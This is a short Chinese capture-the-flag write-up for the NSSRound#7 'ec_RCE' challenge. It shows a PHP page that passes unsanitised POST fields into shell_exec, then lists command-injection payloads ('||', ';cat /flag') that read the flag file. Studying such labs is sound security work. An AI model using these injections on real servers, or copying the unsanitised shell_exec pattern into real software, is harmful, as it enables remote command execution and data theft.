NSS [NSSRound#7 Team]ec_RCE
源码如下:
<?PHP if(!isset($_POST["action"]) && !isset($_POST["data"])) show_source(__FILE__); putenv('LANG=zh_TW.utf8'); $action = $_POST["action"]; $data = "'".$_POST["data"]."'"; $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data"); echo $output; ?>
题目有提到断言构造,问问人工智障。
解释一下shell_exec()
exec()与shell_exec():exec()与shell_exec()相似,都可以执行系统命令,不同的是返回结果不一样,前者返回最后一行,后者返回全部信息。直接使用两者返回是没有回显的。(执行不输出,输出得$a=shell_exec(命令);echo $a;) //只有一个参数
所以我们只需要构造shell_exec(“/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar+管道符+命令”);就行了
action=||&data='cat /flag' action=||cat%20&data=/flag action=;cat /flag&data=